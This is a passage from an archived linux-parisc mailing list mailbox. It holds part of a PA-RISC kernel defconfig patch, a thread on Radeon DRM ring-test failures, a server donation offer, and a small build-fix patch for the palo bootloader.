+CONFIG_DEBUG_MUTEXES=y
+CONFIG_RCU_CPU_STALL_INFO=y
+CONFIG_LATENCYTOP=y
+CONFIG_LKDTM=m
+CONFIG_KEYS=y
+CONFIG_KEYS_DEBUG_PROC_KEYS=y
+CONFIG_CRYPTO_NULL=m
+CONFIG_CRYPTO_TEST=m
+CONFIG_CRYPTO_HMAC=y
+CONFIG_CRYPTO_MD5=y
+CONFIG_CRYPTO_MICHAEL_MIC=m
+CONFIG_CRYPTO_SHA1=y
+CONFIG_CRYPTO_SHA512=m
+CONFIG_CRYPTO_TGR192=m
+CONFIG_CRYPTO_WP512=m
+CONFIG_CRYPTO_ANUBIS=m
+CONFIG_CRYPTO_BLOWFISH=m
+CONFIG_CRYPTO_CAST5=m
+CONFIG_CRYPTO_CAST6=m
+CONFIG_CRYPTO_DES=y
+CONFIG_CRYPTO_KHAZAD=m
+CONFIG_CRYPTO_SERPENT=m
+CONFIG_CRYPTO_TEA=m
+CONFIG_CRYPTO_TWOFISH=m
+CONFIG_CRYPTO_DEFLATE=y
+# CONFIG_CRYPTO_ANSI_CPRNG is not set
+CONFIG_CRC_CCITT=m
+CONFIG_CRC_T10DIF=y
+CONFIG_FONTS=y
diff --git a/arch/parisc/configs/generic-64bit_defconfig b/arch/parisc/configs/generic-64bit_defconfig
new file mode 100644
index 0000000..6952cb5
--- /dev/null
+++ b/arch/parisc/configs/generic-64bit_defconfig
@@ -0,0 +1,350 @@
+CONFIG_LOCALVERSION="-64bit"
+# CONFIG_LOCALVERSION_AUTO is not set
+CONFIG_SYSVIPC=y
+CONFIG_POSIX_MQUEUE=y
+CONFIG_BSD_PROCESS_ACCT=y
+CONFIG_BSD_PROCESS_ACCT_V3=y
+CONFIG_TASKSTATS=y
+CONFIG_TASK_DELAY_ACCT=y
+CONFIG_TASK_XACCT=y
+CONFIG_TASK_IO_ACCOUNTING=y
+# CONFIG_UTS_NS is not set
+# CONFIG_IPC_NS is not set
+# CONFIG_PID_NS is not set
+# CONFIG_NET_NS is not set
+CONFIG_RELAY=y
+CONFIG_BLK_DEV_INITRD=y
+CONFIG_CC_OPTIMIZE_FOR_SIZE=y
+# CONFIG_COMPAT_BRK is not set
+CONFIG_MODULES=y
+CONFIG_MODULE_FORCE_LOAD=y
+CONFIG_MODULE_UNLOAD=y
+CONFIG_MODULE_FORCE_UNLOAD=y
+CONFIG_MODVERSIONS=y
+CONFIG_BLK_DEV_INTEGRITY=y
+# CONFIG_IOSCHED_DEADLINE is not set
+CONFIG_PA8X00=y
+CONFIG_MLONGCALLS=y
+CONFIG_64BIT=y
+CONFIG_SMP=y
+# CONFIG_COMPACTION is not set
+CONFIG_HPPB=y
+CONFIG_IOMMU_CCIO=y
+CONFIG_GSC_LASI=y
+CONFIG_GSC_WAX=y
+CONFIG_PCI=y
+CONFIG_PCI_STUB=m
+CONFIG_PCI_IOV=y
+CONFIG_GSC_DINO=y
+CONFIG_PCI_LBA=y
+CONFIG_BINFMT_MISC=m
+CONFIG_NET=y
+CONFIG_PACKET=y
+CONFIG_UNIX=y
+CONFIG_XFRM_USER=m
+CONFIG_XFRM_SUB_POLICY=y
+CONFIG_XFRM_MIGRATE=y
+CONFIG_INET=y
+CONFIG_IP_MULTICAST=y
+CONFIG_IP_PNP=y
+CONFIG_IP_PNP_BOOTP=y
+CONFIG_INET_AH=m
+CONFIG_INET_ESP=m
+CONFIG_INET_XFRM_MODE_TRANSPORT=m
+CONFIG_INET_XFRM_MODE_TUNNEL=m
+CONFIG_INET_XFRM_MODE_BEET=m
+CONFIG_INET_LRO=m
+CONFIG_INET_DIAG=m
+CONFIG_NETFILTER=y
+# CONFIG_NETFILTER_ADVANCED is not set
+CONFIG_NETFILTER_NETLINK_LOG=y
+CONFIG_DCB=y
+CONFIG_AF_RXRPC=y
+# CONFIG_WIRELESS is not set
+CONFIG_DEVTMPFS=y
+CONFIG_BLK_DEV_LOOP=y
+CONFIG_IDE=y
+CONFIG_IDE_GD=m
+CONFIG_IDE_GD_ATAPI=y
+CONFIG_BLK_DEV_IDECD=m
+CONFIG_BLK_DEV_NS87415=y
+CONFIG_BLK_DEV_SIIMAGE=y
+# CONFIG_SCSI_PROC_FS is not set
+CONFIG_BLK_DEV_SD=y
+CONFIG_BLK_DEV_SR=y
+CONFIG_SCSI_ISCSI_ATTRS=y
+CONFIG_SCSI_SRP_ATTRS=y
+CONFIG_ISCSI_BOOT_SYSFS=y
+CONFIG_SCSI_MPT2SAS=y
+CONFIG_SCSI_LASI700=m
+CONFIG_SCSI_SYM53C8XX_2=y
+CONFIG_SCSI_ZALON=y
+CONFIG_SCSI_QLA_ISCSI=m
+CONFIG_SCSI_DH=y
+CONFIG_ATA=y
+CONFIG_ATA_GENERIC=y
+CONFIG_MD=y
+CONFIG_MD_LINEAR=m
+CONFIG_MD_RAID0=m
+CONFIG_BLK_DEV_DM=m
+CONFIG_DM_RAID=m
+CONFIG_DM_UEVENT=y
+CONFIG_FUSION=y
+CONFIG_FUSION_SPI=y
+CONFIG_FUSION_SAS=y
+CONFIG_NETDEVICES=y
+CONFIG_DUMMY=m
+CONFIG_MACVLAN=m
+CONFIG_MACVTAP=m
+CONFIG_NETCONSOLE=m
+CONFIG_NETCONSOLE_DYNAMIC=y
+CONFIG_TUN=y
+# CONFIG_NET_VENDOR_3COM is not set
+# CONFIG_NET_VENDOR_ADAPTEC is not set
+# CONFIG_NET_VENDOR_ALTEON is not set
+# CONFIG_NET_VENDOR_AMD is not set
+# CONFIG_NET_VENDOR_ARC is not set
+# CONFIG_NET_VENDOR_ATHEROS is not set
+# CONFIG_NET_CADENCE is not set
+# CONFIG_NET_VENDOR_BROADCOM is not set
+# CONFIG_NET_VENDOR_BROCADE is not set
+# CONFIG_NET_VENDOR_CHELSIO is not set
+# CONFIG_NET_VENDOR_CISCO is not set
+CONFIG_NET_TULIP=y
+CONFIG_TULIP=y
+# CONFIG_NET_VENDOR_DLINK is not set
+# CONFIG_NET_VENDOR_EMULEX is not set
+# CONFIG_NET_VENDOR_EXAR is not set
+CONFIG_HP100=m
+CONFIG_E1000=y
+CONFIG_LASI_82596=y
+# CONFIG_NET_VENDOR_MARVELL is not set
+# CONFIG_NET_VENDOR_MELLANOX is not set
+# CONFIG_NET_VENDOR_MICREL is not set
+# CONFIG_NET_VENDOR_MYRI is not set
+# CONFIG_NET_VENDOR_NATSEMI is not set
+# CONFIG_NET_VENDOR_NVIDIA is not set
+# CONFIG_NET_VENDOR_OKI is not set
+CONFIG_QLA3XXX=m
+CONFIG_QLCNIC=m
+CONFIG_QLGE=m
+# CONFIG_NET_VENDOR_REALTEK is not set
+# CONFIG_NET_VENDOR_RDC is not set
+# CONFIG_NET_VENDOR_SEEQ is not set
+# CONFIG_NET_VENDOR_SILAN is not set
+# CONFIG_NET_VENDOR_SIS is not set
+# CONFIG_NET_VENDOR_SMSC is not set
+# CONFIG_NET_VENDOR_STMICRO is not set
+# CONFIG_NET_VENDOR_SUN is not set
+# CONFIG_NET_VENDOR_TEHUTI is not set
+# CONFIG_NET_VENDOR_TI is not set
+# CONFIG_NET_VENDOR_VIA is not set
+# CONFIG_NET_VENDOR_WIZNET is not set
+CONFIG_PHYLIB=y
+CONFIG_MARVELL_PHY=m
+CONFIG_DAVICOM_PHY=m
+CONFIG_QSEMI_PHY=m
+CONFIG_LXT_PHY=m
+CONFIG_CICADA_PHY=m
+CONFIG_VITESSE_PHY=m
+CONFIG_SMSC_PHY=m
+CONFIG_BROADCOM_PHY=m
+CONFIG_ICPLUS_PHY=m
+CONFIG_REALTEK_PHY=m
+CONFIG_NATIONAL_PHY=m
+CONFIG_STE10XP=m
+CONFIG_LSI_ET1011C_PHY=m
+CONFIG_MDIO_BITBANG=m
+CONFIG_SLIP=m
+CONFIG_SLIP_COMPRESSED=y
+CONFIG_SLIP_SMART=y
+CONFIG_SLIP_MODE_SLIP6=y
+# CONFIG_WLAN is not set
+CONFIG_INPUT_EVDEV=y
+# CONFIG_KEYBOARD_HIL_OLD is not set
+# CONFIG_KEYBOARD_HIL is not set
+# CONFIG_INPUT_MOUSE is not set
+CONFIG_INPUT_MISC=y
+CONFIG_HP_SDC_RTC=m
+CONFIG_SERIO_SERPORT=m
+CONFIG_HP_SDC=m
+CONFIG_HIL_MLC=m
+CONFIG_SERIO_RAW=m
+CONFIG_VT_HW_CONSOLE_BINDING=y
+CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
+# CONFIG_LEGACY_PTYS is not set
+CONFIG_NOZOMI=m
+# CONFIG_DEVKMEM is not set
+CONFIG_SERIAL_8250=y
+# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set
+CONFIG_SERIAL_8250_CONSOLE=y
+CONFIG_SERIAL_8250_NR_UARTS=8
+CONFIG_SERIAL_8250_RUNTIME_UARTS=8
+CONFIG_SERIAL_8250_EXTENDED=y
+CONFIG_SERIAL_8250_MANY_PORTS=y
+CONFIG_SERIAL_8250_SHARE_IRQ=y
+CONFIG_SERIAL_JSM=m
+CONFIG_HW_RANDOM_TIMERIOMEM=m
+CONFIG_TCG_TPM=m
+CONFIG_TCG_ATMEL=m
+CONFIG_PTP_1588_CLOCK=m
+CONFIG_SENSORS_I5K_AMB=m
+CONFIG_SENSORS_F71882FG=m
+CONFIG_SENSORS_PC87427=m
+CONFIG_SENSORS_VT1211=m
+CONFIG_SENSORS_VT8231=m
+CONFIG_SENSORS_W83627EHF=m
+CONFIG_WATCHDOG=y
+CONFIG_SOFT_WATCHDOG=m
+CONFIG_SSB=m
+CONFIG_SSB_DRIVER_PCICORE=y
+CONFIG_HTC_PASIC3=m
+CONFIG_LPC_SCH=m
+CONFIG_MFD_SM501=m
+CONFIG_REGULATOR=y
+CONFIG_REGULATOR_FIXED_VOLTAGE=m
+CONFIG_REGULATOR_USERSPACE_CONSUMER=m
+CONFIG_MEDIA_SUPPORT=m
+CONFIG_AGP=y
+CONFIG_AGP_PARISC=y
+CONFIG_DRM=y
+CONFIG_DRM_RADEON=y
+CONFIG_DRM_RADEON_UMS=y
+CONFIG_FIRMWARE_EDID=y
+CONFIG_FB_MODE_HELPERS=y
+CONFIG_BACKLIGHT_LCD_SUPPORT=y
+# CONFIG_BACKLIGHT_GENERIC is not set
+CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
+CONFIG_LOGO=y
+# CONFIG_LOGO_LINUX_MONO is not set
+CONFIG_HID=m
+CONFIG_HIDRAW=y
+CONFIG_HID_DRAGONRISE=m
+CONFIG_DRAGONRISE_FF=y
+CONFIG_HID_KYE=m
+CONFIG_HID_GYRATION=m
+CONFIG_HID_TWINHAN=m
+CONFIG_LOGITECH_FF=y
+CONFIG_LOGIRUMBLEPAD2_FF=y
+CONFIG_HID_NTRIG=m
+CONFIG_HID_PANTHERLORD=m
+CONFIG_PANTHERLORD_FF=y
+CONFIG_HID_PETALYNX=m
+CONFIG_HID_SAMSUNG=m
+CONFIG_HID_SONY=m
+CONFIG_HID_SUNPLUS=m
+CONFIG_HID_GREENASIA=m
+CONFIG_GREENASIA_FF=y
+CONFIG_HID_SMARTJOYPLUS=m
+CONFIG_SMARTJOYPLUS_FF=y
+CONFIG_HID_TOPSEED=m
+CONFIG_HID_THRUSTMASTER=m
+CONFIG_THRUSTMASTER_FF=y
+CONFIG_HID_ZEROPLUS=m
+CONFIG_ZEROPLUS_FF=y
+CONFIG_USB_HID=m
+CONFIG_HID_PID=y
+CONFIG_USB_HIDDEV=y
+CONFIG_USB=y
+CONFIG_USB_DEBUG=y
+CONFIG_USB_ANNOUNCE_NEW_DEVICES=y
+CONFIG_USB_DYNAMIC_MINORS=y
+CONFIG_USB_MON=m
+CONFIG_USB_WUSB_CBAF=m
+CONFIG_USB_XHCI_HCD=m
+CONFIG_USB_EHCI_HCD=m
+CONFIG_USB_OHCI_HCD=m
+CONFIG_USB_R8A66597_HCD=m
+CONFIG_USB_ACM=m
+CONFIG_USB_PRINTER=m
+CONFIG_USB_WDM=m
+CONFIG_USB_TMC=m
+CONFIG_NEW_LEDS=y
+CONFIG_LEDS_CLASS=y
+CONFIG_LEDS_TRIGGERS=y
+CONFIG_LEDS_TRIGGER_TIMER=y
+CONFIG_LEDS_TRIGGER_ONESHOT=y
+CONFIG_LEDS_TRIGGER_IDE_DISK=y
+CONFIG_LEDS_TRIGGER_HEARTBEAT=m
+CONFIG_LEDS_TRIGGER_BACKLIGHT=m
+CONFIG_LEDS_TRIGGER_DEFAULT_ON=m
+CONFIG_UIO=y
+CONFIG_UIO_PDRV_GENIRQ=m
+CONFIG_UIO_AEC=m
+CONFIG_UIO_SERCOS3=m
+CONFIG_UIO_PCI_GENERIC=m
+CONFIG_STAGING=y
+# CONFIG_NET_VENDOR_SILICOM is not set
+CONFIG_EXT2_FS=y
+CONFIG_EXT2_FS_XATTR=y
+CONFIG_EXT2_FS_POSIX_ACL=y
+CONFIG_EXT2_FS_SECURITY=y
+CONFIG_EXT3_FS=y
+CONFIG_EXT3_FS_POSIX_ACL=y
+CONFIG_EXT3_FS_SECURITY=y
+CONFIG_EXT4_FS=y
+CONFIG_EXT4_FS_POSIX_ACL=y
+CONFIG_EXT4_FS_SECURITY=y
+CONFIG_XFS_FS=m
+CONFIG_BTRFS_FS=m
+CONFIG_QUOTA=y
+CONFIG_QUOTA_NETLINK_INTERFACE=y
+CONFIG_QFMT_V2=y
+CONFIG_AUTOFS4_FS=y
+CONFIG_FUSE_FS=y
+CONFIG_CUSE=y
+CONFIG_ISO9660_FS=y
+CONFIG_UDF_FS=y
+CONFIG_VFAT_FS=m
+CONFIG_PROC_KCORE=y
+CONFIG_TMPFS=y
+CONFIG_TMPFS_POSIX_ACL=y
+CONFIG_CONFIGFS_FS=y
+CONFIG_SYSV_FS=y
+CONFIG_NFS_FS=m
+CONFIG_NFS_V4=m
+CONFIG_NFS_V4_1=y
+CONFIG_NFSD=m
+CONFIG_NFSD_V4=y
+CONFIG_NLS_DEFAULT="utf8"
+CONFIG_NLS_CODEPAGE_437=m
+CONFIG_NLS_CODEPAGE_850=m
+CONFIG_NLS_CODEPAGE_852=m
+CONFIG_NLS_CODEPAGE_1250=m
+CONFIG_NLS_CODEPAGE_1251=m
+CONFIG_NLS_ASCII=m
+CONFIG_NLS_ISO8859_1=m
+CONFIG_NLS_ISO8859_2=m
+CONFIG_NLS_UTF8=m
+CONFIG_PRINTK_TIME=y
+CONFIG_STRIP_ASM_SYMS=y
+CONFIG_UNUSED_SYMBOLS=y
+CONFIG_DEBUG_FS=y
+CONFIG_MAGIC_SYSRQ=y
+CONFIG_DEBUG_KERNEL=y
+CONFIG_DEBUG_STACKOVERFLOW=y
+CONFIG_LOCKUP_DETECTOR=y
+CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC=y
+CONFIG_BOOTPARAM_HUNG_TASK_PANIC=y
+# CONFIG_SCHED_DEBUG is not set
+CONFIG_TIMER_STATS=y
+CONFIG_DEBUG_STRICT_USER_COPY_CHECKS=y
+CONFIG_CRYPTO_MANAGER=y
+CONFIG_CRYPTO_ECB=m
+CONFIG_CRYPTO_PCBC=m
+CONFIG_CRYPTO_MD4=m
+CONFIG_CRYPTO_MD5=y
+CONFIG_CRYPTO_MICHAEL_MIC=m
+CONFIG_CRYPTO_SHA256=m
+CONFIG_CRYPTO_ARC4=m
+CONFIG_CRYPTO_FCRYPT=m
+CONFIG_CRYPTO_DEFLATE=m
+# CONFIG_CRYPTO_HW is not set
+CONFIG_CRC_CCITT=m
+CONFIG_LIBCRC32C=y
+CONFIG_XZ_DEC_X86=y
+CONFIG_XZ_DEC_POWERPC=y
+CONFIG_XZ_DEC_IA64=y
+CONFIG_XZ_DEC_ARM=y
+CONFIG_XZ_DEC_ARMTHUMB=y
+CONFIG_XZ_DEC_SPARC=y
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK
 register
Date: Thu, 11 Jul 2013 21:47:59 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <51DF0BEF.6020304@gmx.de>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com> <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org> <51DC29DC.8060106@bell.net> <loom.20130709T200549-18@post.gmane.org> <51DC7996.3010405@bell.net> <BLU0-SMTP393134EC9554B3C1E34F9297790@phx.gbl> <216411373487566@web6f.yandex.ru> <CAEdQ38FDuGy_yjB+yV93dtNxJ-kicavhOqFNWLiWesVrbd1uRA@mail.gmail.com> <518401373491752@web17h.yandex.ru> <51DF0B90.3040506@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1373572084 16693 80.91.229.3 (11 Jul 2013 19:48:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Jul 2013 19:48:04 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Alex Ivanov <gnidorah@p0n4ik.tk>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 11 21:48:05 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UxMqR-0007SZ-HU
	for glpp-linux-parisc@plane.gmane.org; Thu, 11 Jul 2013 21:48:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752331Ab3GKTsC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Jul 2013 15:48:02 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:51327 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754069Ab3GKTsB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Jul 2013 15:48:01 -0400
Original-Received: from [192.168.178.60] ([84.173.23.237]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0LvENG-1UF3e93mc6-010Jzt; Thu, 11 Jul 2013 21:48:00
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <51DF0B90.3040506@gmx.de>
X-Provags-ID: V03:K0:XgDUjKJUcsqHRbLrI5GARPcj78fE2TnuzERfGMVZHQp0a+Ffpjm
 ugGNU3gQaxxq/qGaY64OHgSYPfIW2ZTTR3Y0Mn62wQ+F9ATUpPsgWrG+wBXoSbTTp2DeXXq
 buBJDUA1ZenVWMY3HztEkA668ZfYsSX6Z4buS1HjctzNuKddQYabDfST/855gp4jQt7ETIV
 iBwBgo73q+9Ok4wRmBSVw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5202
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5202>

adding linux parisc mailing list...:

On 07/11/2013 09:46 PM, Helge Deller wrote:
> On 07/10/2013 11:29 PM, Alex Ivanov wrote:
>> 11.07.2013, 01:14, "Matt Turner" <mattst88@gmail.com>:
>>> On Wed, Jul 10, 2013 at 1:19 PM, Alex Ivanov <gnidorah@p0n4ik.tk> wrote:
>>>
>>>>  Thank you so much! Your guess looks to be right. After applying of your
>>>>  patch there was no more KP and X just worked.
>>>
>>> Nice! Does DRI work?
>>
>> Not on my side. Plus i can't visually jump over 8bit depth, although Xorg 
>> states 24bit in it's log.
>> As for DRI, i'm experiencing 
>> "ring test failed (scratch(0x15E4)=0xCAFEDEAD)" with a firegl x3.
> 
> FWIW, I'm seeing the same failure on my FireGL X1:
> 80:00.0 VGA compatible controller: Advanced Micro Devices [AMD] nee ATI Radeon R300 NG [FireGL X1] (rev 80)
> 
> [drm] radeon: irq initialized.
> [drm] Loading R300 Microcode
> [drm] radeon: ring at 0x0000000060001000
> [drm:r100_ring_test] *ERROR* radeon: ring test failed (scratch(0x15E4)=0xCAFEDEAD)
> [drm:r100_cp_init] *ERROR* radeon: cp isn't working (-22).
> radeon 0000:80:00.0: failed initializing CP (-22).
> radeon 0000:80:00.0: Disabling GPU acceleration
> [drm:r100_cp_fini] *ERROR* Wait for CP idle timeout, shutting down CP.
> [drm] radeon: cp finalized
> [drm] radeon: cp finalized
> 
> I haven't tested X11 yet.
> 
>> Can't figure out why, the ring vaddr (0x0000000060001000) is within the
>> limits of dma32. But the ring test fails. And i'm afraid that just adding a 
>> buffer bounces in places will not help.
> 
> Helge
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hans Henry von Tresckow <hvontres@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RP-2470 Available for donation
Date: Tue, 16 Jul 2013 22:42:08 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <CAEa7U+L2cL9vbb-uTuKK5+U0-gM8Jx-0SRxeF-CgKUdDy_h_rA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1374039731 8107 80.91.229.3 (17 Jul 2013 05:42:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Jul 2013 05:42:11 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 17 07:42:12 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UzKV8-0005lG-JA
	for glpp-linux-parisc@plane.gmane.org; Wed, 17 Jul 2013 07:42:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751831Ab3GQFmK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Jul 2013 01:42:10 -0400
Original-Received: from mail-wi0-f182.google.com ([209.85.212.182]:47415 "EHLO
	mail-wi0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751520Ab3GQFmJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Jul 2013 01:42:09 -0400
Original-Received: by mail-wi0-f182.google.com with SMTP id m6so1493064wiv.15
        for <linux-parisc@vger.kernel.org>; Tue, 16 Jul 2013 22:42:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to:content-type;
        bh=naHkKmv9JMWJf8ekZdXs8x9L66kSByobLympaiEje94=;
        b=KdvasfXLN3TRXdxyUG0yp5Pkj+HBRpxj85mGCdWL6yCx5y1saXe4Cx/lKXsXnqcIlg
         ex2WX9ySKfPIGjs35WJPGPmAnVsgujOGw6e7RG1XuZGLvMJJIBO4DsgHFMIqMOXfYM7I
         fphdEgl9R8ADMJH26TOgG1pj0a7sa3h9L/Vm/+UoHoVuJDeGAfjUUAEiHkilDD8aZ0h7
         fIy5NFEa1fPQxCz+1W7r+zHJ1U2j+QK87LRL6RBS6aaTT+N7SxDyWLz/0QZC1vG/Mmi7
         eBsWnDDJxrcKyH318Ay0P6HGg32AVbAHBlVC9J5TwP0QMW+JhO5lBxdNFXosiLiDCJmC
         PT4w==
X-Received: by 10.194.238.199 with SMTP id vm7mr3500734wjc.37.1374039728204;
 Tue, 16 Jul 2013 22:42:08 -0700 (PDT)
Original-Received: by 10.227.72.9 with HTTP; Tue, 16 Jul 2013 22:42:08 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5203
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5203>

We are surplussing an old rp-2470 server at work. I don't know the
exact configuration right now, but would this be of any interest to
anyone here? If not, it is probably going to get recyled soon :(

--
Henry von Tresckow (hvontres)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] palo/paloio.c:64: warning: implicit declaration of function
 'memcmp'
Date: Thu, 18 Jul 2013 16:55:39 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20130718165539.15e7e327@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1374159348 8691 80.91.229.3 (18 Jul 2013 14:55:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jul 2013 14:55:48 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 18 16:55:49 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UzpcQ-0002pv-Dz
	for glpp-linux-parisc@plane.gmane.org; Thu, 18 Jul 2013 16:55:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932138Ab3GROzq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Jul 2013 10:55:46 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:33939 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932074Ab3GROzp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Jul 2013 10:55:45 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 8D7F233E915;
	Thu, 18 Jul 2013 14:55:44 +0000 (UTC)
X-Mailer: Claws Mail 3.9.2-dirty (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5204
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5204>

I have been carrying this patch in the Gentoo repository[1] for quite a
while now.

[1]
http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo-x86/sys-boot/palo/files/palo-1.18-include.patch?view=log

Add missing include for memcmp.

Signed-off-by: Jeroen Roovers <jer@gentoo.org>

diff --git a/palo/paloio.c b/palo/paloio.c
index 518c6a5..64e8e45 100644
--- a/a/palo/paloio.c
+++ b/b/palo/paloio.c
@@ -7,6 +7,7 @@
  */
 #include <unistd.h>
 #include <stdio.h>
+#include <string.h>
 #include <errno.h>
 #include <sys/types.h>
 #include <sys/stat.h>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] palo/palo.c:482:5: /usr/include/bits/fcntl2.h:50:24: error:
 call to '__open_missing_mode' declared with attribute error: open with
 O_CREAT in second argument needs 3 arguments
Date: Thu, 18 Jul 2013 17:43:46 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20130718174346.022491f8@marga.jer-c2.orkz.net>
References: <20130718165539.15e7e327@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1374162231 10505 80.91.229.3 (18 Jul 2013 15:43:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
